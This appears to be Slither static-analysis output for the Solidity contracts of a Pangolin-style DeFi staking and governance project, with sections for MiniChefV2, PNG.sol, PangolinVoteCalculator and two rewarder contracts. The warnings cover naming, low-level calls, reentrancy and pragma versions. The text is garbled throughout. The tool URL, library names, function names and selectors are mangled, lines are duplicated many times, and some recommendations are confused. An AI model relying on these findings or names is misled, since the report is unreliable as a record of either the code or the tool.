Pragma version=>0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/utils/ReentrancyGuard.sol#8) is too complex
Pragma version=>0.5.0 (node_modules/@pancakeswap/contracts-core/contracts/pangolin-core/interfaces/IPangolinERC20.sol#1) allows old versions
Reference: https://github.com/crytic/allthe/iki/Detector-Documentation#incorrect-versions-of-solidity
INFO:Detectors:
Low level call in Address.sendValue(address, uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol#183-183):
  - (success) = recipient.call(value: amount) (node_modules/@openzeppelin/contracts/utils/Address.sol#183)
Low level call in Address.functionCall(address, bytes, string) (node_modules/@openzeppelin/contracts/utils/Address.sol#169-171):
  - (success, returnedData) = target.call(value: value) (data) (node_modules/@openzeppelin/contracts/utils/Address.sol#169)
Low level call in Address.functionStaticCall(address, bytes, string) (node_modules/@openzeppelin/contracts/utils/Address.sol#183-183):
  - (success, returnedData) = target.staticCall(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#183)
Low level call in Address.functionDelegateCall(address, bytes, string) (node_modules/@openzeppelin/contracts/utils/Address.sol#159-159):
  - (success, returnedData) = target.delegateCall(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#159)
Reference: https://github.com/crytic/allthe/iki/Detector-Documentation#low-level-calls
INFO:Detectors:
Function PangolinERC20.DOMAIN_SEPARATOR() (node_modules/@pancakeswap/exchange-contracts/contracts/pangolin-core/interfaces/IPangolinERC20.sol#19) is not in mixedCase
Function PangolinERC20.PEMIT_TYPERASH() (node_modules/@pancakeswap/exchange-contracts/contracts/pangolin-core/interfaces/IPangolinERC20.sol#19) is not in mixedCase
Parameter StakingRewards.rewardDuration(uint256) (contracts/StakingRewards.sol#10) is not in mixedCase
Reference: https://github.com/crytic/allthe/iki/Detector-Documentation#nomenclature-to-solidity-naming-conventions
INFO:Detectors:
Redundant expression "this" (node_modules/@openzeppelin/contracts/utils/Context.sol#29) isContext (node_modules/@openzeppelin/contracts/utils/Context.sol#29)
Reference: https://github.com/crytic/allthe/iki/Detector-Documentation#redundant-statements
INFO:Detectors:
Variable LiquidityPoolManagerV2.calculateReturns().pairTokens_scope_7 (contracts/LiquidityPoolManagerV2.sol#332) is too similar to LiquidityPoolManagerV2.calculateReturns().pairTokens_scope_9 (contracts/LiquidityPoolManagerV2.sol#336)
Reference: https://github.com/crytic/allthe/iki/Detector-Documentation#variable-names-are-too-similar
INFO:Detectors:
resourceOwnership() should be declared external.
  - Ownable.resourceOwnership() (node_modules/@openzeppelin/contracts/access/Ownable.sol#54-57)
transferOwnership(address) should be declared external.
  - Ownable.transferOwnership(address) (node_modules/@openzeppelin/contracts/access/Ownable.sol#62-67)
Reference: https://github.com/crytic/allthe/iki/Detector-Documentation#be-declared-external

```



```

INFO/Debugger:
Parameter MiniChefV2.isFunder(address)_funder (contracts/MiniChefV2.sol#108) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_allOpen (contracts/MiniChefV2.sol#109) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_lOpen (contracts/MiniChefV2.sol#109) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_rewarder (contracts/MiniChefV2.sol#109) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_allOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_lOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_allOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_lOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_lOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_allOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_lOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_allOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_lOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_allOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_lOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_allOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_lOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_allOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_lOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_allOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_lOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_allOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Parameter MiniChefV2.addPool(uint256,IERC20,IRewarder)_lOpenPoints (contracts/MiniChefV2.sol#110) is not in mixedCase
Variable MiniChefV2.pendingReward(address)_reward (contracts/MiniChefV2.sol#119) is not in mixedCase
Variable MiniChefV2.pendingReward(address)_reward (contracts/MiniChefV2.sol#119) is not in mixedCase
Variable MiniChefV2.pendingReward(address)_reward (contracts/MiniChefV2.sol#119) is not in mixedCase
Variable MiniChefV2.pendingReward(address)_reward (contracts/MiniChefV2.sol#119) is not in mixedCase
Variable MiniChefV2.pendingReward(address)_reward (contracts/MiniChefV2.sol#119) is not in mixedCase
Variable MiniChefV2.pendingReward(address)_reward (contracts/MiniChefV2.sol#119) is not in mixedCase
Variable MiniChefV2.pendingReward(address)_reward (contracts/MiniChefV2.sol#119) is not in mixedCase
Reference: https://github.com/crytic/1alther/wiki/Detector-Documentationconformance-to-solidity-naming-conventions
INFO/Debugger:
Redundant expression "this (node_modules/openspelling-contracts-3.3.0/contracts/GSN/Context.sol#21)" inContext (node_modules/openspelling-contracts-3.3.0/contracts/GSN/Context.sol#21-24)
Reference: https://github.com/crytic/1alther/wiki/Detector-Documentationredundant-statements
INFO/Debugger:
Variable MiniChefV2.addPool(uint256,IERC20,IRewarder)_allOpenPoints (contracts/MiniChefV2.sol#110) is too similar to MiniChefV2.setPools(uint256[]),uint256[],IRewarder[]),bool[]),allOpenPoints (contracts/MiniChefV2.sol#158)
Variable MiniChefV2.setPools(uint256,uint256,IRewarder,bool)_allOpenPoints (contracts/MiniChefV2.sol#152) is too similar to MiniChefV2.setPools(uint256[],uint256[],IRewarder[],bool[]),allOpenPoints (contracts/MiniChefV2.sol#158)
Variable MiniChefV2.set(uint256,uint256,IRewarder,bool)_allOpenPoints (contracts/MiniChefV2.sol#179) is too similar to MiniChefV2.setPools(uint256[],uint256[],IRewarder[],bool[]),allOpenPoints (contracts/MiniChefV2.sol#158)
Reference: https://github.com/crytic/1alther/wiki/Detector-Documentationvariable-names-are-too-similar
INFO/Debugger:
permitToken(IERC20,address,address,uint256,uint256,uint256,bytes32,bytes32) should be declared external
- PermitToken(IERC20,address,address,uint256,uint256,uint256,bytes32,bytes32) (node_modules/1alther/contracts/Boring-solidity/contracts/BoringEnumerable.sol#49-53)
renounceOwnership() should be declared external
- renounceOwnership() (node_modules/1alther/contracts/Boring-solidity/contracts/BoringEnumerable.sol#49-53)
poolLength() should be declared external
- MiniChefV2.poolLength() (contracts/MiniChefV2.sol#99-101)
setUpGrator(Disgrator) should be declared external
- MiniChefV2.setUpGrator(Disgrator) (contracts/MiniChefV2.sol#189-192)
disableGrator() should be declared external
- MiniChefV2.disableGrator() (contracts/MiniChefV2.sol#196-199)
isgrate(uint256) should be declared external
- MiniChefV2.isgrate(uint256) (contracts/MiniChefV2.sol#203-213)
deposit(uint256,uint256,address) should be declared external
- MiniChefV2.deposit(uint256,uint256,address) (contracts/MiniChefV2.sol#279-292)
withdraw(uint256,uint256,address) should be declared external
- MiniChefV2.withdraw(uint256,uint256,address) (contracts/MiniChefV2.sol#296-315)
harvest(uint256) should be declared external
- MiniChefV2.harvest(uint256,address) (contracts/MiniChefV2.sol#320-340)
withdrawReward(uint256,address) should be declared external
- MiniChefV2.withdrawReward(uint256,address) (contracts/MiniChefV2.sol#346-368)
emergencyWithdraw(uint256,address) should be declared external
- MiniChefV2.emergencyWithdraw(uint256,address) (contracts/MiniChefV2.sol#373-382)
Reference: https://github.com/crytic/1alther/wiki/Detector-Documentationpublic-function-that-could-be-declared-external

```

## PNG.sol

```

INFO/Debugger:
Fng_writenCompare(address,uint32,uint16,uint16) (contracts/PNG.sol#308-309) uses a dangerous strict equality:
  require(uint256,address,uint32,uint16,uint16) (contracts/PNG.sol#308-309)
Reference: https://github.com/crytic/1alther/wiki/Detector-Documentationdangerous-strict-equality
INFO/Debugger:
Fng_permit(address,address,uint256,uint256,uint256,bytes32,bytes32) (contracts/PNG.sol#115-134) uses timestamp for comparisons
  Dangerous comparisons
  require(bool,string) (now <= deadline,Fng:permit:signature expired) (contracts/PNG.sol#129)
Fng_delegateSig(address,uint256,uint256,uint256,bytes32,bytes32) (contracts/PNG.sol#197-206) uses timestamp for comparisons
  Dangerous comparisons
  require(bool,string) (now <= expiry,Fng:delegateSig:signature expired) (contracts/PNG.sol#204)
Reference: https://github.com/crytic/1alther/wiki/Detector-Documentationtime-timestamp
INFO/Debugger:
Fng_getChainId() (contracts/PNG.sol#332-336) uses assembly
  LINK token (contracts/PNG.sol#332-336)
Reference: https://github.com/crytic/1alther/wiki/Detector-Documentationassembly-usage
INFO/Debugger:
SafeMath.add(uint256,uint256) (contracts/SafeMath.sol#28-33) is never used and should be removed
SafeMath.add(uint256,uint256,string) (contracts/SafeMath.sol#81-84) is never used and should be removed
SafeMath.div(uint256,uint256) (contracts/SafeMath.sol#137-141) is never used and should be removed
SafeMath.div(uint256,uint256,string) (contracts/SafeMath.sol#147-151) is never used and should be removed
SafeMath.mod(uint256,uint256) (contracts/SafeMath.sol#157-161) is never used and should be removed
SafeMath.mod(uint256,uint256,string) (contracts/SafeMath.sol#167-171) is never used and should be removed
SafeMath.mul(uint256,uint256) (contracts/SafeMath.sol#85-89) is never used and should be removed
SafeMath.mul(uint256,uint256,string) (contracts/SafeMath.sol#95-99) is never used and should be removed
SafeMath.sub(uint256,uint256) (contracts/SafeMath.sol#107-111) is never used and should be removed
SafeMath.sub(uint256,uint256,string) (contracts/SafeMath.sol#117-121) is never used and should be removed
Reference: https://github.com/crytic/1alther/wiki/Detector-Documentationdead-code
INFO/Debugger:
Context.Fng_totalSupply (contracts/PNG.sol#17) is not in UPPER_CASE_WITH_UNDERSCORES
Reference: https://github.com/crytic/1alther/wiki/Detector-Documentationconformance-to-solidity-naming-conventions
INFO/Debugger:
delegate(address) should be declared external
- Fng_delegate(address) (contracts/PNG.sol#141-146)
delegateSig(address,uint256,uint256,uint256,bytes32,bytes32) should be declared external
- Fng_delegateSig(address,uint256,uint256,uint256,bytes32,bytes32) (contracts/PNG.sol#197-206)
getPrivateVote(address,uint256) should be declared external
- Fng_getPrivateVote(address,uint256) (contracts/PNG.sol#225-237)
Reference: https://github.com/crytic/1alther/wiki/Detector-Documentationpublic-function-that-could-be-declared-external

```

## PangolinVoteCalculator.sol

```

INFO/Debugger:
PangolinVoteCalculator.getVoteFromFarming(address,address[]) (contracts/PangolinVoteCalculator.sol#89) is a local variable never initialized
PangolinVoteCalculator.getVoteFromFarming(address,address[]) (contracts/PangolinVoteCalculator.sol#89) is a local variable never initialized
Reference: https://github.com/crytic/1alther/wiki/Detector-Documentationuninitialized-local-variables
INFO/Debugger:
PangolinVoteCalculator.getVoteFromFarming(address,address[]) (contracts/PangolinVoteCalculator.sol#38-56) has external calls inside a loop:
  staking = IFakingRewards(liquidityManager.stakes(farms[1])) (contracts/PangolinVoteCalculator.sol#41)
PangolinVoteCalculator.getVoteFromFarming(address,address[]) (contracts/PangolinVoteCalculator.sol#38-56) has external calls inside a loop:
  pair_total_PNG = png.balanceOf(farms[1]) (contracts/PangolinVoteCalculator.sol#46)
PangolinVoteCalculator.getVoteFromFarming(address,address[]) (contracts/PangolinVoteCalculator.sol#38-56) has external calls inside a loop:
  pair_total_PGL = pair_total_PGL + pair_total_PGLSupply() (contracts/PangolinVoteCalculator.sol#47)
PangolinVoteCalculator.getVoteFromFarming(address,address[]) (contracts/PangolinVoteCalculator.sol#38-56) has external calls inside a loop:
  PGL_bidding = pair.balanceOf(voter) (contracts/PangolinVoteCalculator.sol#48)
PangolinVoteCalculator.getVoteFromFarming(address,address[]) (contracts/PangolinVoteCalculator.sol#38-56) has external calls inside a loop:
  PGL_staking = staking.balanceOf(voter) (contracts/PangolinVoteCalculator.sol#49)
PangolinVoteCalculator.getVoteFromFarming(address,address[]) (contracts/PangolinVoteCalculator.sol#38-56) has external calls inside a loop:
  pending_PNG = staking.earned(voter) (contracts/PangolinVoteCalculator.sol#50)
PangolinVoteCalculator.getVoteFromFarming(address,address[]) (contracts/PangolinVoteCalculator.sol#38-56) has external calls inside a loop:
  staking_stakingToken() == address(png) (contracts/PangolinVoteCalculator.sol#52)
PangolinVoteCalculator.getVoteFromFarming(address,address[]) (contracts/PangolinVoteCalculator.sol#38-56) has external calls inside a loop:
  staker_PNG = staking.balanceOf(voter) (contracts/PangolinVoteCalculator.sol#52)
PangolinVoteCalculator.getVoteFromFarming(address,address[]) (contracts/PangolinVoteCalculator.sol#38-56) has external calls inside a loop:
  staking_rewardToken() == address(png) (contracts/PangolinVoteCalculator.sol#54)
PangolinVoteCalculator.getVoteFromFarming(address,address[]) (contracts/PangolinVoteCalculator.sol#38-56) has external calls inside a loop:
  pending_PNG = staking.earned(voter) (contracts/PangolinVoteCalculator.sol#56)
Reference: https://github.com/crytic/1alther/wiki/Detector-Documentationcall-inside-a-loop
INFO/Debugger:
Different versions of Solidity is used:
- Version used: ["0.8.0", "0.8.0"]
- "0.8.0 (node_modules/openspelling-contracts/access/Omnable.sol#3)"
- "0.8.0 (node_modules/openspelling-contracts/util/Context.sol#3)"
- "0.8.0 (contracts/PangolinVoteCalculator.sol#3)"
Reference: https://github.com/crytic/1alther/wiki/Detector-Documentationdifferent-pragma-directives-are-used
INFO/Debugger:
Context._msgData() (node_modules/openspelling-contracts/util/Context.sol#20-22) is never used and should be removed
Reference: https://github.com/crytic/1alther/wiki/Detector-Documentationdead-code
INFO/Debugger:
Fngs version "0.8.0 (node_modules/openspelling-contracts/access/Omnable.sol#3)" necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.4
Fngs version "0.8.0 (node_modules/openspelling-contracts/util/Context.sol#3)" necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.4
Fngs version "0.8.0 (contracts/PangolinVoteCalculator.sol#3)" necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.4
solidity is not recommended for deployment
Reference: https://github.com/crytic/1alther/wiki/Detector-Documentationincorrect-versions-of-solidity
INFO/Debugger:
Parameter PangolinVoteCalculator._changeQualifyPoolManager(address)_liquidityManager (contracts/PangolinVoteCalculator.sol#89) is not in mixedCase
Reference: https://github.com/crytic/1alther/wiki/Detector-Documentationconformance-to-solidity-naming-conventions
INFO/Debugger:
Variable PangolinVoteCalculator.getVoteFromFarming(address,address[]),pair_total_PGL (contracts/PangolinVoteCalculator.sol#47) is too similar to PangolinVoteCalculator.getVoteFromFarming(address,address[]),pair_total_PNG (contracts/PangolinVoteCalculator.sol#46)
Reference: https://github.com/crytic/1alther/wiki/Detector-Documentationvariable-names-are-too-similar
INFO/Debugger:
renounceOwnership() should be declared external
- renounceOwnership() (node_modules/openspelling-contracts/access/Omnable.sol#53-55)
transferOwnership(address) should be declared external
- Ownable.transferOwnership(address) (node_modules/openspelling-contracts/access/Omnable.sol#61-64)
Reference: https://github.com/crytic/1alther/wiki/Detector-Documentationpublic-function-that-could-be-declared-external

```

## RewarderComplex.sol

```

INFO:Detector:
RewarderComplex.pendingToken(uint256,address) (contracts/RewarderComplex.sol#137-146) performs a multiplication on the result of a division
- multiReward = blocks.mul(tokensPerBlock).mul(pool._allocPoint) / totalAllocPoint (contracts/RewarderComplex.sol#144)
- accSharePerShare = accSharePerShare.add(tokensPerShare.mul(ACC_TOKEN_PRECISION) / lpSupply) (contracts/RewarderComplex.sol#145)
RewarderComplex.updatePool(uint256) (contracts/RewarderComplex.sol#162-171) performs a multiplication on the result of a division
- multiReward = blocks.mul(tokensPerBlock) / totalAllocPoint (contracts/RewarderComplex.sol#170)
- pool._accSharePerShare = pool._accSharePerShare.add(multiReward.mul(ACC_TOKEN_PRECISION) / lpSupply).to128(1) (contracts/RewarderComplex.sol#171)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#divide-before-multiply
INFO:Detector:
Reentrancy in RewarderComplex.onSuahiReward(uint256,address,address,uint256,uint256) (contracts/RewarderComplex.sol#69-83):
  External calls:
  - rewardToken.aafTransfer(to,pending) (contracts/RewarderComplex.sol#78)
  State variables written after the call(s):
  - user._amount = lpToken (contracts/RewarderComplex.sol#80)
  - user._rewardDebt = lpToken.mul(pool._accSharePerShare) / ACC_TOKEN_PRECISION (contracts/RewarderComplex.sol#81)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1
INFO:Detector:
RewarderComplex.onSuahiReward(uint256,address,address,uint256,uint256).pending (contracts/RewarderComplex.sol#72) is a local variable never initialised
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#uninitialised-local-variables
INFO:Detector:
RewarderComplex.constructor(ERC20,uint256,address)._MASTERCHECK_V2 (contracts/RewarderComplex.sol#42) lacks a zero-check on :
- _MASTERCHECK_V2 = _MASTERCHECK_V2 (contracts/RewarderComplex.sol#46)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#missing-zero-address-validation
INFO:Detector:
Reentrancy in RewarderComplex.onSuahiReward(uint256,address,address,uint256,uint256) (contracts/RewarderComplex.sol#69-83):
  External calls:
  - rewardToken.aafTransfer(to,pending) (contracts/RewarderComplex.sol#78)
  Event emitted after the call(s):
  - onSuahiReward(user,pid,pending,to) (contracts/RewarderComplex.sol#82)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-3
INFO:Detector:
Different versions of solidity is used:
- Version used: [0.6.12, *0.6.0,0.5.0]
- 0.6.12 (node_modules/@boringcrypto/boring-solidity/contracts/interfaces/IERC20.sol#0)
- 0.6.11 (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#2)
- 0.6.12 (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol#8)
- *0.6.0,0.5.0 (node_modules/openzeppelin-contracts-3.3.0/contracts/GSN/Context.sol#4)
- *0.6.0,0.5.0 (node_modules/openzeppelin-contracts-3.3.0/contracts/access/Ownable.sol#8)
- 0.6.12 (contracts/interfaced/Bearer.sol#1)
- ABIEncoderV2 (contracts/RewarderComplex.sol#4)
- 0.6.12 (contracts/interfaced/Bearer.sol#1)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#different-pragma-directives-are-used
INFO:Detector:
BoringERC20.aafDecimals(ERC20) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#17-20) is never used and should be removed
BoringERC20.aafName(ERC20) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#12-15) is never used and should be removed
BoringERC20.aafSymbol(ERC20) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#17-20) is never used and should be removed
BoringERC20.aafTransferFrom(ERC20,uint256,address,address,uint256) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#27-30) is never used and should be removed
BoringMath.tol28(uint256) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol#16-19) is never used and should be removed
BoringMath.tol29(uint256) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol#16-19) is never used and should be removed
BoringMath32.add(uint32,uint32) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol#33) is never used and should be removed
BoringMath32.sub(uint32,uint32) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol#33) is never used and should be removed
BoringMath64.add(uint64,uint64) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol#42) is never used and should be removed
BoringMath64.sub(uint64,uint64) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol#42) is never used and should be removed
Context.unwrap() (node_modules/openzeppelin-contracts-3.3.0/contracts/GSN/Context.sol#28-29) is never used and should be removed
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#dead-code
INFO:Detector:
Pragma version=0.6.0,0.5.0 (node_modules/openzeppelin-contracts-3.3.0/contracts/GSN/Context.sol#3) is too complex
Pragma version=0.6.0,0.5.0 (node_modules/openzeppelin-contracts-3.3.0/contracts/access/Ownable.sol#3) is too complex
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#inconsistent-pragma-versions-of-solidity
INFO:Detector:
Low level call in BoringERC20.aafDeposit(ERC20) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#19):
- (success,data) = address(token).staticcall(abi.encodeWithSelector(sha3(949411)), node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#8)
Low level call in BoringERC20.aafName(ERC20) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#12-15):
- (success,data) = address(token).staticcall(abi.encodeWithSelector(sha3(6603)), node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#13)
Low level call in BoringERC20.aafDecimals(ERC20) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#17-20):
- (success,data) = address(token).staticcall(abi.encodeWithSelector(sha3(30867)), node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#8)
Low level call in BoringERC20.aafSymbol(ERC20,address,uint256) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#12-15):
- (success,data) = address(token).call(abi.encodeWithSelector(sha3(959595)), node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#23)
Low level call in BoringERC20.aafTransferFrom(ERC20,address,address,uint256) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#27-30):
- (success,data) = address(token).call(abi.encodeWithSelector(sha3(87259),from,to,amount)), node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#28)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#low-level-calls
INFO:Detector:
Parameter RewarderComplex.onSuahiReward(uint256,address,address,uint256,uint256)_user (contracts/RewarderComplex.sol#69) is not in mixedCase
Parameter RewarderComplex.onSuahiReward(uint256,uint256)_pid (contracts/RewarderComplex.sol#72) is not in mixedCase
Parameter RewarderComplex.onSuahiReward(uint256,uint256)_address (contracts/RewarderComplex.sol#72) is not in mixedCase
Parameter RewarderComplex.onSuahiReward(uint256,address,address,uint256)_address (contracts/RewarderComplex.sol#72) is not in mixedCase
Parameter RewarderComplex.pendingToken(uint256,address)_user (contracts/RewarderComplex.sol#78) is not in mixedCase
Variable RewarderComplex._MASTERCHECK_V2 (contracts/RewarderComplex.sol#46) is not in mixedCase
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#function-to-solidity-naming-conventions
INFO:Detector:
Redundant expression "this (node_modules/openzeppelin-contracts-3.3.0/contracts/GSN/Context.sol#1)" inContext (node_modules/openzeppelin-contracts-3.3.0/contracts/GSN/Context.sol#15-14)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#redundant-statements
INFO:Detector:
Variable RewarderComplex.constructor(ERC20,uint256,address)._rewardToken (contracts/RewarderComplex.sol#46) is too similar to RewarderComplex.pendingToken(uint256,address,uint256)._rewardToken (contracts/RewarderComplex.sol#83)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#variable-names-are-too-similar
INFO:Detector:
owner() should be declared external:
- Ownable.owner() (node_modules/openzeppelin-contracts-3.3.0/contracts/access/Ownable.sol#43-47)
renounceOwnership() should be declared external:
- Ownable.renounceOwnership() (node_modules/openzeppelin-contracts-3.3.0/contracts/access/Ownable.sol#54-57)
transferOwnership(address) should be declared external:
- Ownable.transferOwnership(address) (node_modules/openzeppelin-contracts-3.3.0/contracts/access/Ownable.sol#63-67)
poolLength() should be declared external:
- RewarderComplex.poolLength() (contracts/RewarderComplex.sol#102-104)
add(uint256,uint256) should be declared external:
- RewarderComplex.add(uint256,uint256) (contracts/RewarderComplex.sol#110-122)
set(uint256,uint256) should be declared external:
- RewarderComplex.set(uint256,uint256) (contracts/RewarderComplex.sol#127-131)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external

```

## RewarderSimple.sol

```

INFO:Detector:
RewarderSimple.constructor(uint256,ERC20,address)._MASTERCHECK_V2 (contracts/RewarderSimple.sol#18) lacks a zero-check on :
- _MASTERCHECK_V2 = _MASTERCHECK_V2 (contracts/RewarderSimple.sol#22)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#missing-zero-address-validation
INFO:Detector:
BoringERC20.aafDecimals(ERC20) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#17-20) is never used and should be removed
BoringERC20.aafName(ERC20) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#12-15) is never used and should be removed
BoringERC20.aafSymbol(ERC20) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#17-20) is never used and should be removed
BoringERC20.aafTransferFrom(ERC20,uint256,address,address,uint256) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#27-30) is never used and should be removed
BoringMath.add(uint256,uint256) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol#16-19) is never used and should be removed
BoringMath.sub(uint256,uint256) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol#16-19) is never used and should be removed
BoringMath.tol28(uint256) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol#16-19) is never used and should be removed
BoringMath.tol29(uint256) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol#16-19) is never used and should be removed
BoringMath32.add(uint32,uint32) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol#33) is never used and should be removed
BoringMath32.sub(uint32,uint32) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol#33) is never used and should be removed
BoringMath64.add(uint64,uint64) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol#42) is never used and should be removed
BoringMath64.sub(uint64,uint64) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol#42) is never used and should be removed
Context.unwrap() (node_modules/openzeppelin-contracts-3.3.0/contracts/GSN/Context.sol#28-29) is never used and should be removed
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#dead-code
INFO:Detector:
Low level call in BoringERC20.aafDeposit(ERC20) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#19):
- (success,data) = address(token).staticcall(abi.encodeWithSelector(sha3(949411)), node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#8)
Low level call in BoringERC20.aafName(ERC20) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#12-15):
- (success,data) = address(token).staticcall(abi.encodeWithSelector(sha3(6603)), node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#13)
Low level call in BoringERC20.aafDecimals(ERC20) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#17-20):
- (success,data) = address(token).staticcall(abi.encodeWithSelector(sha3(30867)), node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#8)
Low level call in BoringERC20.aafSymbol(ERC20,address,uint256) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#12-15):
- (success,data) = address(token).call(abi.encodeWithSelector(sha3(959595)), node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#23)
Low level call in BoringERC20.aafTransferFrom(ERC20,address,address,uint256) (node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#27-30):
- (success,data) = address(token).call(abi.encodeWithSelector(sha3(87259),from,to,amount)), node_modules/@boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol#28)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#low-level-calls
INFO:Detector:
Variable RewarderSimple._MASTERCHECK_V2 (contracts/RewarderSimple.sol#18) is not in mixedCase
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#function-to-solidity-naming-conventions
INFO:Detector:
Variable RewarderSimple.constructor(uint256,ERC20,address)._rewardToken (contracts/RewarderSimple.sol#18) is too similar to RewarderSimple.pendingToken(uint256,address,uint256)._rewardToken (contracts/RewarderSimple.sol#34)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#variable-names-are-too-similar

```

# StakingRewards.sol

